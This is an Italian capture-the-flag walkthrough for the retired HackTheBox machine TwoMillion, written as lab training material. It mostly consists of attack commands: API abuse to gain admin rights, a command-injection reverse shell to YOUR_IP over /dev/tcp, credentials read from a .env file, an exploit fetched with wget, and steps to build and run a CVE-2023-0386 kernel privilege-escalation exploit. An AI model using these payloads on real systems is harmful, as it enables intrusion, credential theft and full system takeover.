Recensione di TwoMillion di HTB

HackTheBox TwoMillion macchina — abuso API, injection di comandi e CVE-2023-0386

HackTheBox — Recensione di TwoMillion

HackTheBox — Recensione di TwoMillion

Informazioni macchina

Sommario

TwoMillion è una macchina Linux facile incentrata sulla vecchia piattaforma HackTheBox. Comprende la decodifica di un codice invito, l'abuso di endpoint API, l'injection di comandi OS, la scoperta di credenziali e l'escalation dei privilegi del kernel Linux tramite CVE-2023-0386 (OverlayFS).

Enumerazione

Nmap

nmap -sV -sC -v 10.10.11.221

Porte aperte:

• 22 — OpenSSH 8.9p1
• 80 — HTTP nginx → reindirizza a 2million.htb

Aggiungi a /etc/hosts:

echo "10.10.11.221 2million.htb" >> /etc/hosts

Passo 1 — Codice invito

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

La risposta è codificata ROT13. Decodificala:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Genera il codice invito:

curl -X POST http://2million.htb/api/v1/invite/generate
echo "BASE64==" | base64 -d

Registrati su http://2million.htb/register usando il codice invito decodificato.

Passo 2 — Abuso API → Admin

Accedi tramite browser, prendi il PHPSESSID dai cookie (F12 → Applicazione → Cookie).

Escalata ad admin:

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"email":"[email protected]","is_admin":1}'

Verifica:

curl -b "PHPSESSID=<your_session>" http://2million.htb/api/v1/admin/auth
# {"message":true}

Passo 3 — Injection di comandi → Reverse Shell

Avvia il listener:

nc -lvnp 4444

Invia il payload della reverse shell:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"username":"test;bash -c '"'"'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"'"' #"}'

Shell ricevuta come www-data.

Passo 4 — Flag utente

Trova le credenziali in .env:

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

Connettiti via SSH:

ssh [email protected]
cat ~/user.txt

Passo 5 — Flag di root (CVE-2023-0386)

Controlla il suggerimento:

cat /var/mail/admin
uname -r
# 5.15.70 — vulnerabile a CVE-2023-0386

Scarica e compila l'exploit su Kali:

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

Trasferisci sul target:

# Kali
python3 -m http.server 8000

# Target
wget http://YOUR_IP:8000/exploit.zip
unzip exploit.zip
make all

Esegui in due terminali sul target:

Terminale 1:

./fuse ./ovlcap/lower ./gc

Terminale 2:

./exp

Prendi la flag di root:

cat /root/root.txt

Catena d'attacco

Strumenti usati

• Nmap
• curl
• Netcat
• CVE-2023-0386 PoC

Questa recensione è solo a scopo educativo su una macchina HackTheBox ritirata.